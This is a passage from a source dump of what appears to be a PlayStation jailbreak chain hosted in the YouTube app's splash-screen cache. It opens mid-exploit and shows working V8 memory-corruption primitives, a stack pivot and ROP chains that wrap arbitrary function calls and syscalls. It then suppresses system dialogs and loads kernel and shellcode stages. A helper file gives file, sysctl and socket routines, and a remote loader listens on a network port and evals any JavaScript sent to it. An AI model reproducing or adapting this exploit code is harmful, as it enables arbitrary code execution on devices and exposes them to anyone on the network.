            libcobalt_base = read64(stack_addr + 0x8n) - Y2_OFFSET.LIBCOBALT_LEAK;
            await log("libcobalt_base @ " + toHex(libcobalt_base));
            
            libstarboard_base = read64(libcobalt_base + Y2_OFFSET.LIBSTARBOARD_LEAK1) - Y2_OFFSET.LIBSTARBOARD_LEAK2;
            await log("libstarboard_base @ " + toHex(libstarboard_base));
            
            libc_base = read64(libstarboard_base + Y2_OFFSET.LIBC_LEAK1) - Y2_OFFSET.LIBC_LEAK2;
            await log("libc_base @ " + toHex(libc_base));
        } else {
            throw new Error("UNSUPPORTED YOUTUBE VERSION");
        }
        
        const rop_chain_addr = get_backing_store(rop_chain);
        await log("ROP chain @ " + toHex(rop_chain_addr));
        
        // Fake bytecode for r14 register
        fake_bc[0] = 0xABn; // Return opcode - keeps interpreter happy
        const fake_bc_addr = get_backing_store(fake_bc);
        //await log("Fake bytecode @ " + toHex(fake_bc_addr));
        
        const fake_frame_backing = get_backing_store(fake_frame);
        
        // This sets the r14 register which V8 expects to point to bytecode
        write64(fake_frame_backing + 0x21n, fake_bc_addr);
        
        return_value_addr = get_backing_store(return_value_buf);
        //await log("return_value_addr @ " + toHex(return_value_addr));

        const fake_frame_addr = addrof(fake_frame);
        // Pivot RSP
        write64(fake_frame_addr + 0x9n, ROP.pop_rsp); // pop rsp ; ret
        write64(fake_frame_addr + 0x9n + Y2_OFFSET.RSP_OFFSET, rop_chain_addr);
        
        await log("fake_frame_addr @ " + toHex(fake_frame_addr));
        
        call_rop = function(address, rax = 0x0n, arg1 = 0x0n, arg2 = 0x0n, arg3 = 0x0n, arg4 = 0x0n, arg5 = 0x0n, arg6 = 0x0n) {
            let rop_i = 0;
            
            // Syscall number
            rop_chain[rop_i++] = ROP.pop_rax; // pop rax ; ret
            rop_chain[rop_i++] = rax;
            
            // Setup arguments
            rop_chain[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
            rop_chain[rop_i++] = arg1;
            rop_chain[rop_i++] = ROP.pop_rsi; // pop rsi ; ret
            rop_chain[rop_i++] = arg2;
            rop_chain[rop_i++] = ROP.pop_rdx; // pop rdx ; ret
            rop_chain[rop_i++] = arg3;
            rop_chain[rop_i++] = ROP.pop_rcx; // pop rcx ; ret
            rop_chain[rop_i++] = arg4;
            rop_chain[rop_i++] = ROP.pop_r8; // pop r8 ; ret
            rop_chain[rop_i++] = arg5;
            rop_chain[rop_i++] = ROP.pop_r9; // pop r9 ; ret
            rop_chain[rop_i++] = arg6;

            // Call function
            rop_chain[rop_i++] = address; 
            
            // Store return value to return_value_addr
            rop_chain[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
            rop_chain[rop_i++] = return_value_addr;
            rop_chain[rop_i++] = ROP.mov_qword_rdi_rax; // mov qword [rdi], rax ; ret
            
            // Return safe tagged value to JavaScript
            rop_chain[rop_i++] = ROP.mov_rax_0x200000000; // mov rax, 0x200000000 ; ret

            rop_chain[rop_i++] = ROP.pop_rbp; // pop rbp ; ret ;
            rop_chain[rop_i++] = saved_fp;
            
            rop_chain[rop_i++] = ROP.mov_rsp_rbp; // mov rsp, rbp ; pop rbp ; ret
            
            return pwn(fake_frame);
        }
        
        call = function(address, arg1 = 0x0n, arg2 = 0x0n, arg3 = 0x0n, arg4 = 0x0n, arg5 = 0x0n, arg6 = 0x0n) {                    
            // GC friendly
            // Get new bytecode_addr each time
            const bc_start = get_bytecode_addr() + 0x36n;
            
            write64(bc_start, 0xAB0025n);
            
            saved_fp = addrof(call_rop(address, 0x0n, arg1, arg2, arg3, arg4, arg5, arg6)) + 0x1n;
            
            write64(bc_start, 0xAB00260325n); //Ldar 0x3, Star fp, Return
            
            call_rop(address, 0x0n, arg1, arg2, arg3, arg4, arg5, arg6);
            
            return return_value_buf[0];
        }
        
        await log("ROP test, should see 0x0000000200000000");
        
        rop_test = call(ROP.mov_rax_0x200000000);
        await log(toHex(rop_test));
        
        if (rop_test !== 0x200000000n) {
            await log("ERROR: ROP test failed");
            throw new Error("ROP test failed");
        }

        // https://github.com/shahrilnet/remote_lua_loader/blob/22a03e38b6e8f13e2e379f7c5036767c14162ff3/savedata/syscall.lua#L42
        const sceKernelGetModuleInfoFromAddr_addr = read64(Y2_OFFSET.sceKernelGetModuleInfoFromAddr);
        
        //gettimeofday plt
        //0x113B18
        const gettimeofday_addr = read64(Y2_OFFSET.gettimeofday);
        //await log("gettimeofday_addr @: " + toHex(gettimeofday_addr));
        
        const mod_info = malloc(0x300);
        //await log("mod_info buffer @ " + toHex(mod_info));
        
        const SEGMENTS_OFFSET = 0x160n;
        
        ret = call(sceKernelGetModuleInfoFromAddr_addr, gettimeofday_addr, 0x1n, mod_info);
        //await log("sceKernelGetModuleInfoFromAddr returned: " + toHex(ret));

        if (ret !== 0x0n) {
            await log("ERROR: sceKernelGetModuleInfoFromAddr failed: " + toHex(ret));
            throw new Error("sceKernelGetModuleInfoFromAddr failed");
        }
        
        libkernel_base = read64(mod_info + SEGMENTS_OFFSET);
        //await log("libkernel_base @ " + toHex(libkernel_base));

        syscall_wrapper = gettimeofday_addr + 0x7n;
        //await log("syscall_wrapper @ " + toHex(syscall_wrapper));
        
        syscall = function(syscall_num, arg1 = 0x0n, arg2 = 0x0n, arg3 = 0x0n, arg4 = 0x0n, arg5 = 0x0n, arg6 = 0x0n) {
            if(syscall_num === undefined) {
                throw new Error("ERROR: syscall not defined");
            }
            // GC friendly
            // Get new bytecode_addr each time
            const bc_start = get_bytecode_addr() + 0x36n;
            
            write64(bc_start, 0xAB0025n);
            saved_fp = addrof(call_rop(syscall_wrapper, syscall_num, arg1, arg2, arg3, arg4, arg5, arg6)) + 0x1n;
            
            write64(bc_start, 0xAB00260325n);
            call_rop(syscall_wrapper, syscall_num, arg1, arg2, arg3, arg4, arg5, arg6);
            
            return return_value_buf[0];
        }
        
        libc_strerror = Y2_OFFSET.libc_strerror;
        libc_error = Y2_OFFSET.libc_error;
        
        Thrd_create = Y2_OFFSET.Thrd_create;
        Thrd_join = Y2_OFFSET.Thrd_join;
        
        await load_localscript('misc.js');
        await checkLogServer();

        if (Y2_OFFSET === Y2_OFFSET_403) {
            // Thanks ufm42 for better implementation
            await log("Disabling PSN dialog and YouTube splash...");
    
            const window_addr = addrof(window);
            //await log("window_addr: " + toHex(window_addr));
            
            const wrapper_private_addr = read64(window_addr + 0x20n);
            //await log("wrapper_private_addr: " + toHex(wrapper_private_addr));
            
            const isolate_addr = read64(wrapper_private_addr + 0x8n);
            //await log("isolate_addr: " + toHex(isolate_addr));
            
            const splash_screen_dom_window_addr = read64(wrapper_private_addr + 0x10n);
            //await log("splash_screen_dom_window_addr: " + toHex(splash_screen_dom_window_addr));
            
            const navigator_addr = read64(splash_screen_dom_window_addr + 0xC0n);
            //await log("navigator_addr: " + toHex(navigator_addr));
            
            const maybe_freeze_callback_addr = read64(navigator_addr + 0xB0n);
            //await log("maybe_freeze_callback_addr: " + toHex(maybe_freeze_callback_addr));
            
            const browser_module_addr = read64(maybe_freeze_callback_addr + 0x30n);
            //await log("browser_module_addr: " + toHex(browser_module_addr));
            
            const main_web_module_addr = read64(browser_module_addr + 0x678n);
            //await log("main_web_module_addr: " + toHex(main_web_module_addr));
            
            const main_web_module_impl_addr = read64(main_web_module_addr + 0x18n);
            //await log("main_web_module_impl_addr: " + toHex(main_web_module_impl_addr));
            
            const main_dom_window_addr = read64(main_web_module_impl_addr + 0x230n);
            //await log("main_dom_window_addr: " + toHex(main_dom_window_addr));
            
            const splash_screen_addr = read64(browser_module_addr + 0x898n);
            //await log("splash_screen_addr: " + toHex(splash_screen_addr));
            
            const splash_screen_web_module_addr = read64(splash_screen_addr + 0x20n);
            //await log("splash_screen_web_module_addr: " + toHex(splash_screen_web_module_addr));
            
            const splash_screen_web_module_impl_addr = read64(splash_screen_web_module_addr + 0x18n);
            //await log("splash_screen_web_module_impl_addr: " + toHex(splash_screen_web_module_impl_addr));
    
            await log("Disabling YouTube splash screen...");
            const main_web_module_generation_addr = browser_module_addr + 0xB08n;
            write32(main_web_module_generation_addr, 0xFFFFFFFFn);
            await log("YT splash disabled!");
    
            await log("Disabling PSN popup...");
            
            call(read64(Y2_OFFSET.sceMsgDialogTerminate));
                    
            // Disable "no internet connection" retry timer
            const on_error_retry_timer_addr = browser_module_addr + 0x960n;
            //await log("on_error_retry_timer_addr: " + toHex(on_error_retry_timer_addr));
            
            const is_running_addr = on_error_retry_timer_addr + 0x60n;
            //await log("is_running_addr: " + toHex(is_running_addr));
            
            // Set is_running to 1 (true)
            write8(is_running_addr, 0x1n);
            
            await log("PSN popup disabled!");
            
        } else {
            
            // This is voodoo hack
            await log("Disabling PSN and no internet popup...");
            
            const sceMsgDialogTerminate   = read64(Y2_OFFSET.sceMsgDialogTerminate);
            const sceErrorDialogTerminate = read64(Y2_OFFSET.sceErrorDialogTerminate);
            
            const timespec = malloc(0x10);
            write64(timespec,      0n);       // tv_sec  = 0
            write64(timespec + 8n, 1000000n); // tv_nsec = 1ms
                        
            while (call(sceMsgDialogTerminate) !== 0n) {
                call(sceErrorDialogTerminate);
                syscall(SYSCALL.nanosleep, timespec);
            }
            
            await log("Popup disabled!");
        }
        
        
        FW_VERSION = get_fwversion();
        TITLE_ID = get_title_id();
        
        send_notification(version_string + "\nFW : " + FW_VERSION + "\nTitle ID : " + TITLE_ID + "\nAppVer : " + Y2_VERSION);
        await log("FW detected : " + FW_VERSION);
        await log("Title ID detected : " + TITLE_ID);
        await log("AppVer detected : " + Y2_VERSION);
        
        await log("libkernel_base @ " + toHex(libkernel_base));

        await load_localscript('kernel.js');
        await load_localscript('aioshellcode.js');
        
        ////////////////////
        // MAIN EXECUTION //
        ////////////////////

        await load_localscript('remotejsloader.js'); 

        
    } catch (e) {                
        await log('EXCEPTION: ' + e.message);
        await log(e.stack);
    }
    
})();

```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/misc.js

```js path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/misc.js" 

// Write UTF-8 string to existing buffer
function write_string(addr, str) {
    const encoder = new TextEncoder();
    const bytes = encoder.encode(str);
    
    for (let i = 0; i < bytes.length; i++) {
        write8(addr + BigInt(i), bytes[i]);
    }
    
    write8(addr + BigInt(bytes.length), 0);
}

function alloc_string(str) {
    const encoder = new TextEncoder();
    const bytes = encoder.encode(str);
    const addr = malloc(bytes.length + 1);
    
    for (let i = 0; i < bytes.length; i++) {
        write8(addr + BigInt(i), bytes[i]);
    }
    
    write8(addr + BigInt(bytes.length), 0);
    
    return addr;
}

function send_notification(text) {
    const notify_buffer_size = 0xc30n;
    const notify_buffer = malloc(Number(notify_buffer_size));
    const icon_uri = "cxml://psnotification/tex_icon_system";
                        
    // Setup notification structure
    write32(notify_buffer + 0x0n, 0);           // type
    write32(notify_buffer + 0x28n, 0);          // unk3
    write32(notify_buffer + 0x2cn, 1);          // use_icon_image_uri
    write32(notify_buffer + 0x10n, 0xffffffff); // target_id (-1 as unsigned)
    
    // Write message at offset 0x2D
    write_string(notify_buffer + 0x2dn, text);
    
    // Write icon URI at offset 0x42D
    write_string(notify_buffer + 0x42dn, icon_uri);
    
    // Open /dev/notification0
    const dev_path = alloc_string("/dev/notification0");
    const fd = syscall(SYSCALL.open, dev_path, O_WRONLY);
    
    if (Number(fd) < 0) {
        return;
    }
    
    syscall(SYSCALL.write, fd, notify_buffer, notify_buffer_size);
    syscall(SYSCALL.close, fd);
    
}

function get_error_string() {
    const error_func = call(libc_error);
    const errno = read64(error_func);
    const strerror = call(libc_strerror, errno);
    return Number(errno) + " " + read_null_terminated_string(strerror);
}


function sysctlbyname(name, oldp, oldp_len, newp, newp_len) {
    const translate_name_mib = malloc(0x8);
    const buf_size = 0x70;
    const mib = malloc(buf_size);
    const size = malloc(0x8);
    
    write64(translate_name_mib, 0x300000000n);
    write64(size, BigInt(buf_size));
    
    const name_addr = alloc_string(name);
    const name_len = BigInt(name.length);
    
    if (syscall(SYSCALL.sysctl, translate_name_mib, 2n, mib, size, name_addr, name_len) === 0xffffffffffffffffn) {
        throw new Error("failed to translate sysctl name to mib (" + name + ")");
    }
    
    let mib_len = read64(size) / 4n
    
    if (syscall(SYSCALL.sysctl, mib, mib_len, oldp, oldp_len, newp, newp_len) === 0xffffffffffffffffn) {
        return false;
    }
    
    return true;
}


function get_fwversion() {
    const buf = malloc(0x8);
    const size = malloc(0x8);
    write64(size, 0x8n);
    
    if (sysctlbyname("kern.sdk_version", buf, size, 0n, 0n)) {
        const byte1 = Number(read8(buf + 2n));  // Minor version (first byte)
        const byte2 = Number(read8(buf + 3n));  // Major version (second byte)
        
        const version = byte2.toString(16) + '.' + byte1.toString(16).padStart(2, '0');
        return version;
    }
    
    return null;
}

function call_pipe_rop(fildes) {
    let rop_i = 0;
    
    rop_chain[rop_i++] = ROP.pop_rax; // pop rax ; ret
    rop_chain[rop_i++] = SYSCALL.pipe;
    rop_chain[rop_i++] = syscall_wrapper;
    
    // Store rax (read_fd) to fildes[0]
    rop_chain[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
    rop_chain[rop_i++] = fildes;
    rop_chain[rop_i++] = ROP.mov_qword_rdi_rax; // mov qword [rdi], rax ; ret
    
    // Store rdx (write_fd) to fildes[4]
    rop_chain[rop_i++] = ROP.pop_rdi; // pop rdi ; ret
    rop_chain[rop_i++] = fildes + 4n;
    rop_chain[rop_i++] = ROP.mov_qword_rdi_rdx; // mov qword [rdi], rdx ; ret
    
    // Return safe tagged value to JavaScript
    rop_chain[rop_i++] = ROP.mov_rax_0x200000000; // mov rax, 0x200000000 ; ret
    rop_chain[rop_i++] = ROP.pop_rbp; // pop rbp ; ret
    rop_chain[rop_i++] = saved_fp;
    rop_chain[rop_i++] = ROP.mov_rsp_rbp; // mov rsp, rbp ; pop rbp ; ret
    
    return pwn(fake_frame);
}

function create_pipe() {
    const fildes = malloc(0x10);
    
    const bc_start = get_bytecode_addr() + 0x36n;
    
    write64(bc_start, 0xAB0025n);
    saved_fp = addrof(call_pipe_rop(fildes)) + 0x1n;
    
    write64(bc_start, 0xAB00260325n);
    call_pipe_rop(fildes);
    
    const read_fd = read32(fildes);
    const write_fd = read32(fildes + 4n);

    return [read_fd, write_fd];
}

function read_buffer(addr, len) {
    const buffer = new Uint8Array(Number(len));
    for (let i = 0; i < len; i++) {
        buffer[i] = Number(read8(addr + BigInt(i)));
    }
    return buffer;
}

function write_buffer(addr, buffer) {
    for (let i = 0; i < buffer.length; i++) {
        write8(addr + BigInt(i), buffer[i]);
    }
}

function read_null_terminated_string(addr) {
    const decoder = new TextDecoder('utf-8');
    let result = "";
    
    while (true) {
        const chunk = read_buffer(addr, 0x8);
        if (!chunk || chunk.length === 0) break;
        
        let null_pos = -1;
        for (let i = 0; i < chunk.length; i++) {
            if (chunk[i] === 0) {
                null_pos = i;
                break;
            }
        }
        
        if (null_pos >= 0) {
            if (null_pos > 0) {
                result += decoder.decode(chunk.slice(0, null_pos));
            }
            return result;
        }
        
        result += decoder.decode(chunk, { stream: true });
        addr = addr + BigInt(chunk.length);
    }
    
    return result;
}

function find_pattern(buffer, pattern_string) {
    const parts = pattern_string.split(' ');
    const matches = [];
    
    for (let i = 0; i <= buffer.length - parts.length; i++) {
        let match = true;
        
        for (let j = 0; j < parts.length; j++) {
            if (parts[j] === '?') continue;
            if (buffer[i + j] !== parseInt(parts[j], 16)) {
                match = false;
                break;
            }
        }
        
        if (match) matches.push(i);
    }
    
    return matches;
}

function get_current_ip() {
    // Get interface count
    const count = Number(syscall(SYSCALL.netgetiflist, 0n, 10n));
    if (count < 0) {
        return null;
    }
    
    // Allocate buffer for interfaces
    const iface_size = 0x1e0;
    const iface_buf = malloc(iface_size * count);
    
    // Get interface list
    if (Number(syscall(SYSCALL.netgetiflist, iface_buf, BigInt(count))) < 0) {
        return null;
    }
    
    // Parse interfaces
    for (let i = 0; i < count; i++) {
        const offset = BigInt(i * iface_size);
        
        // Read interface name (null-terminated string at offset 0)
        let iface_name = "";
        for (let j = 0; j < 16; j++) {
            const c = Number(read8(iface_buf + offset + BigInt(j)));
            if (c === 0) break;
            iface_name += String.fromCharCode(c);
        }
        
        // Read IP address (4 bytes at offset 0x28)
        const ip_offset = offset + 0x28n;
        const ip1 = Number(read8(iface_buf + ip_offset));
        const ip2 = Number(read8(iface_buf + ip_offset + 1n));
        const ip3 = Number(read8(iface_buf + ip_offset + 2n));
        const ip4 = Number(read8(iface_buf + ip_offset + 3n));
        const iface_ip = ip1 + "." + ip2 + "." + ip3 + "." + ip4;
        
        // Check if this is eth0 or wlan0 with valid IP
        if ((iface_name === "eth0" || iface_name === "wlan0") && 
            iface_ip !== "0.0.0.0" && iface_ip !== "127.0.0.1") {
            return iface_ip;
        }
    }
    
    return null;
}

function is_jailbroken() {

    const cur_uid = syscall(SYSCALL.getuid);
    const is_in_sandbox = syscall(SYSCALL.is_in_sandbox);
    if (cur_uid === 0n && is_in_sandbox === 0n) {
        return true;
    } else {
        
        // Check if elfldr is running at 9021
        const sockaddr_in = malloc(16);
        const enable = malloc(4);
        
        const sock_fd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n);
        if (sock_fd === 0xffffffffffffffffn) {
            throw new Error("socket failed: " + toHex(sock_fd));
        }
    
        try {
            write32(enable, 1);
            syscall(SYSCALL.setsockopt, sock_fd, SOL_SOCKET, SO_REUSEADDR, enable, 4n);
    
            write8(sockaddr_in + 1n, AF_INET);
            write16(sockaddr_in + 2n, 0x3D23n);      // port 9021
            write32(sockaddr_in + 4n, 0x0100007Fn);  // 127.0.0.1
    
            // Try to connect to 127.0.0.1:9021
            const ret = syscall(SYSCALL.connect, sock_fd, sockaddr_in, 16n);
    
            if (ret === 0n) {
                syscall(SYSCALL.close, sock_fd);
                return true;
            } else {
                syscall(SYSCALL.close, sock_fd);
                return false;
            }
        } catch (e) {
            syscall(SYSCALL.close, sock_fd);
            return false;
        }
    }
}

function check_jailbroken() {
    if (!is_jailbroken()) {
        throw new Error("process is not jailbroken")
    }
}

function load_prx(path) {
    const handle_out = malloc(4);
    const path_addr = alloc_string(path);

    const result = syscall(SYSCALL.dynlib_load_prx, path_addr, 0n, handle_out, 0n);
    if (result !== 0n) {
        throw new Error("dynlib_load_prx error: " + toHex(result));
    }

    return read32(handle_out);
}

function dlsym(handle, sym) {
    check_jailbroken();
    
    if (typeof sym !== "string") {
        throw new Error("dlsym expect string symbol name");
    }

    const sym_addr = alloc_string(sym);
    const addr_out = malloc(0x8n);

    const result = syscall(SYSCALL.dlsym, handle, sym_addr, addr_out);
    if (result === 0xffffffffffffffffn) {
        throw new Error("dlsym error");
    }

    return read64(addr_out);
}

function get_title_id() {
    const pid = syscall(SYSCALL.getpid);

    const mib = malloc(0x10n);
    write32(mib + 0x0n, 1n);
    write32(mib + 0x4n, 14n);
    write32(mib + 0x8n, 35n);
    write32(mib + 0xCn, pid);

    const app_info = malloc(0x100n);
    const oldlen = malloc(0x8n);
    write64(oldlen, 0x58n);
    
    if (syscall(SYSCALL.sysctl, mib, 4n, app_info, oldlen, 0n, 0n) === 0xffffffffffffffffn) {
        throw new Error("sysctl failed in get_title_id()");
    }

    return read_null_terminated_string(app_info + 0x10n);
}

function find_mod_by_name(name) {
    const sceKernelGetModuleListInternal = dlsym(LIBKERNEL_HANDLE, "sceKernelGetModuleListInternal");
    const sceKernelGetModuleInfo = dlsym(LIBKERNEL_HANDLE, "sceKernelGetModuleInfo");

    const mem = malloc(4n * 0x300n);
    const actual_num = malloc(0x8n);

    call(sceKernelGetModuleListInternal, mem, 0x300n, actual_num);

    const num = read64(actual_num);
    for (let i = 0n; i < num; i++) {
        const handle = read32(mem + i * 4n);
        const info = malloc(0x160n);
        write64(info, 0x160n);

        call(sceKernelGetModuleInfo, handle, info);

        const mod_name = read_null_terminated_string(info + 0x8n);
        if (name === mod_name) {
            const base_addr = read64(info + 0x108n);
            return {
                handle: handle,
                base_addr: base_addr,
            };
        }
    }

    return null;
}


function file_exists(path) {
    const path_addr = alloc_string(path);
    const fd = syscall(SYSCALL.open, path_addr, O_RDONLY);
    
    if (fd !== 0xffffffffffffffffn) {
        syscall(SYSCALL.close, fd);
        return true;
    } else {
        return false;
    }
}

function read_file(path) {
    const path_addr = alloc_string(path);
    const fd = syscall(SYSCALL.open, path_addr, O_RDONLY);
    
    if (fd === 0xffffffffffffffffn) {
        throw new Error("file not exist: " + path);
    }
    
    const stat_buf = malloc(0x100);
    const fstat_result = syscall(SYSCALL.fstat, fd, stat_buf);
    if (fstat_result === 0xffffffffffffffffn) {
        syscall(SYSCALL.close, fd);
        throw new Error("fstat failed for: " + path);
    }
    
    const file_size = read64(stat_buf + 0x48n);
    
    const buffer = malloc(file_size);
    const bytes_read = syscall(SYSCALL.read, fd, buffer, file_size);
    
    syscall(SYSCALL.close, fd);
    
    if (bytes_read !== file_size) {
        throw new Error("failed to read complete file: " + path);
    }
    
    return read_buffer(buffer, file_size);
}

function write_file(path, text) {
    const mode = 0x1ffn; // 777
    const path_addr = alloc_string(path);
    const data_addr = alloc_string(text);

    const flags = O_CREAT | O_WRONLY | O_TRUNC;
    const fd = syscall(SYSCALL.open, path_addr, flags, mode);

    if (fd === 0xffffffffffffffffn) {
        throw new Error("open failed for " + path + " fd: " + toHex(fd));
    }
    
    const written = syscall(SYSCALL.write, fd, data_addr, BigInt(text.length));
    if (written === 0xffffffffffffffffn) {
        syscall(SYSCALL.close, fd);
        throw new Error("write failed : " + toHex(written));
    }

    syscall(SYSCALL.close, fd);
    return Number(written); // number of bytes written
}

function get_nidpath() {
    const path_buffer = malloc(0x255);
    const len_ptr = malloc(8);
    
    write64(len_ptr, 0x255n);
    
    const ret = syscall(SYSCALL.randomized_path, 0n, path_buffer, len_ptr);
    if (ret === 0xffffffffffffffffn) {
        throw new Error("randomized_path failed : " + toHex(ret));        
    }
    
    return read_null_terminated_string(path_buffer);
}

function nanosleep(nsec) {
    const timespec = malloc(0x10);
    write64(timespec, BigInt(Math.floor(nsec / 1e9)));    // tv_sec
    write64(timespec + 8n, BigInt(nsec % 1e9));           // tv_nsec
    syscall(SYSCALL.nanosleep, timespec);
}

async function send_network(ip_address, port, sock_type, buffer) {
    const sockaddr_in = malloc(16);
    const buf_ptr = malloc(buffer.length);
    
    // Copy buffer to memory
    for (let i = 0; i < buffer.length; i++) {
        write8(buf_ptr + BigInt(i), buffer[i]);
    }
    
    // Create socket (SOCK_STREAM or SOCK_DGRAM)
    const sock_fd = syscall(SYSCALL.socket, AF_INET, sock_type, 0n);
    if (sock_fd === 0xffffffffffffffffn) {
        throw new Error("Socket creation failed");
    }
    
    // Parse IP address (e.g., "127.0.0.1" -> 0x0100007f)
    const ip_parts = ip_address.split('.').map(Number);
    const ip_addr = (ip_parts[0]) | (ip_parts[1] << 8) | (ip_parts[2] << 16) | (ip_parts[3] << 24);
    
    // Setup address
    for (let i = 0; i < 16; i++) write8(sockaddr_in + BigInt(i), 0);
    write8(sockaddr_in + 1n, AF_INET);
    write16(sockaddr_in + 2n, (port << 8) | (port >> 8)); // port in network byte order
    write32(sockaddr_in + 4n, ip_addr);
    
    if (sock_type === SOCK_STREAM) {
        // TCP: Connect then send
        const conn_ret = syscall(SYSCALL.connect, sock_fd, sockaddr_in, 16n);
        if (conn_ret === 0xffffffffffffffffn) {
            syscall(SYSCALL.close, sock_fd);
            throw new Error("Connect failed");
        }
        
        const write_ret = syscall(SYSCALL.write, sock_fd, buf_ptr, BigInt(buffer.length));
        if (write_ret === 0xffffffffffffffffn) {
            syscall(SYSCALL.close, sock_fd);
            throw new Error("Write failed");
        }
    } else {
        // UDP: Use sendto
        const send_ret = syscall(SYSCALL.sendto, sock_fd, buf_ptr, BigInt(buffer.length), 0n, sockaddr_in, 16n);
        if (send_ret === 0xffffffffffffffffn) {
            syscall(SYSCALL.close, sock_fd);
            throw new Error("Sendto failed");
        }
    }
    
    syscall(SYSCALL.close, sock_fd);
}

function kill_youtube() {
    const pid = syscall(SYSCALL.getpid);
    syscall(SYSCALL.kill, pid, SIGKILL);
}


```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/remotejsloader.js

```js path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/remotejsloader.js" 
(async function() {
    const MAXSIZE = 500 * 1024;

    const sockaddr_in = malloc(16);
    const addrlen = malloc(8);
    const enable = malloc(4);
    const len_ptr = malloc(8);
    const payload_buf = malloc(MAXSIZE);

    function create_socket() {
        // Clear sockaddr
        for (let i = 0; i < 16; i++) write8(sockaddr_in + BigInt(i), 0);

        const sock_fd = syscall(SYSCALL.socket, AF_INET, SOCK_STREAM, 0n);
        if (sock_fd === 0xffffffffffffffffn) {
            throw new Error("Socket creation failed: " + toHex(sock_fd));
        }

        write32(enable, 1);
        syscall(SYSCALL.setsockopt, sock_fd, SOL_SOCKET, SO_REUSEADDR, enable, 4n);

        write8(sockaddr_in + 1n, AF_INET);
        write16(sockaddr_in + 2n, 0);        // port 0
        write32(sockaddr_in + 4n, 0);        // INADDR_ANY

        const bind_ret = syscall(SYSCALL.bind, sock_fd, sockaddr_in, 16n);
        if (bind_ret === 0xffffffffffffffffn) {
            syscall(SYSCALL.close, sock_fd);
            throw new Error("Bind failed: " + toHex(bind_ret));
        }

        const listen_ret = syscall(SYSCALL.listen, sock_fd, 3n);
        if (listen_ret === 0xffffffffffffffffn) {
            syscall(SYSCALL.close, sock_fd);
            throw new Error("Listen failed: " + toHex(listen_ret));
        }

        return sock_fd;
    }

    function get_port(sock_fd) {
        write32(len_ptr, 16);
        syscall(SYSCALL.getsockname, sock_fd, sockaddr_in, len_ptr);

        const port_be = read16(sockaddr_in + 2n);
        return Number(((port_be & 0xFFn) << 8n) | ((port_be >> 8n) & 0xFFn));
    }

    async function setup_socket_until_port_50000() {
        let sock_fd = null;
        let port = 0;
        let attempts = 0;
        const MAX_ATTEMPTS = 60000;

        let last_sock = null;
        let last_port = 0;

        while (port !== 50000 && attempts < MAX_ATTEMPTS) {
            try {
                sock_fd = create_socket();
            } catch (err) {
                attempts++;
                continue;
            }

            port = get_port(sock_fd);

            last_sock = sock_fd;
            last_port = port;

            if (port !== 50000) {
                syscall(SYSCALL.close, sock_fd);
            }

            attempts++;
        }
        
        if (port !== 50000) {
            if (last_sock !== null) {
                await log("Warning: did not get port 50000 after " + attempts + " attempts; using last assigned port " + last_port);
                return { sock_fd: last_sock, port: last_port };
            } else {
                throw new Error("Failed to create any socket after " + attempts + " attempts");
            }
        }

        return { sock_fd, port };
    }

    async function recreate_socket() {
        const sock_fd = create_socket();
        const port = get_port(sock_fd);

        const current_ip = get_current_ip();
        if (current_ip === null) {
            send_notification("No network available!\nAborting...");
            throw new Error("No network available!\nAborting...");
        }

        const network_str = current_ip + ":" + port;
        await log("Socket recreated on " + network_str);
        send_notification("Remote JS Loader\nListening on " + network_str);

        return { sock_fd, port, network_str };
    }

    // Initial setup (retry until port 50000, but fall back to last random port if attempts exhausted)
    let { sock_fd, port } = await setup_socket_until_port_50000();

    const current_ip = get_current_ip();
    if (current_ip === null) {
        send_notification("No network available!\nAborting...");
        throw new Error("No network available!\nAborting...");
    }

    let network_str = current_ip + ":" + port;
    await log("Remote JS Loader listening on " + network_str);
    send_notification("Remote JS Loader\nListening on " + network_str);

    const decoder = new TextDecoder('utf-8');

    while (true) {
        try {
            await log("Awaiting connection at " + network_str);

            write32(addrlen, 16);
            const client_fd = syscall(SYSCALL.accept, sock_fd, sockaddr_in, addrlen);

            if (client_fd === 0xffffffffffffffffn) {
                //await log("accept() failed: " + toHex(client_fd) + " - recreating socket");
                syscall(SYSCALL.close, sock_fd);

                const recreated = await recreate_socket();
                sock_fd = recreated.sock_fd;
                port = recreated.port;
                network_str = recreated.network_str;
                continue;
            }

            //await log("Client connected, fd: " + Number(client_fd));

            let total_read = 0;
            let read_error = false;

            while (total_read < MAXSIZE) {
                const bytes_read = syscall(
                    SYSCALL.read,
                    client_fd,
                    payload_buf + BigInt(total_read),
                    BigInt(MAXSIZE - total_read)
                );

                const n = Number(bytes_read);

                if (n === 0) break;
                if (n < 0) {
                    await log("read() error: " + n);
                    read_error = true;
                    break;
                }

                total_read += n;
                //await log("Read " + n + " bytes");
            }

            //await log("Finished reading, total=" + total_read + " error=" + read_error);

            if (read_error || total_read === 0) {
                await log("No valid data received");
                syscall(SYSCALL.close, client_fd);
                continue;
            }

            const bytes = new Uint8Array(total_read);
            for (let i = 0; i < total_read; i++) {
                bytes[i] = Number(read8(payload_buf + BigInt(i)));
            }

            if (total_read >= 4 &&
                bytes[0] === 0x7F &&
                bytes[1] === 0x45 &&
                bytes[2] === 0x4C &&
                bytes[3] === 0x46) {
                await log("ELF payload is not supported.\nOnly send javascript file");
                send_notification("ELF payload is not supported.\nOnly send javascript file");
                syscall(SYSCALL.close, client_fd);
                continue;
            }

            const js_code = decoder.decode(bytes);

            write32(enable, 1);
            syscall(SYSCALL.setsockopt, client_fd, SOL_SOCKET, 0x800n, enable, 4n);
            _log_socket_fd = client_fd;

            await log("Executing payload...");
            try {
                await eval(js_code);
                await log("Executed successfully");
            } finally {
                _log_socket_fd = null;
                syscall(SYSCALL.close, client_fd);
            }

        } catch (e) {
            await log("ERROR in accept loop: " + e.message);
            await log(e.stack);
        }
    }
})();
```

## /download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/splash.html

```html path="/download0/cache/splash_screen/aHR0cHM6Ly93d3cueW91dHViZS5jb20vdHY=/splash.html" 
<!--
 * Copyright (C) 2025 Gezine
 *
 * This software may be modified and distributed under the terms
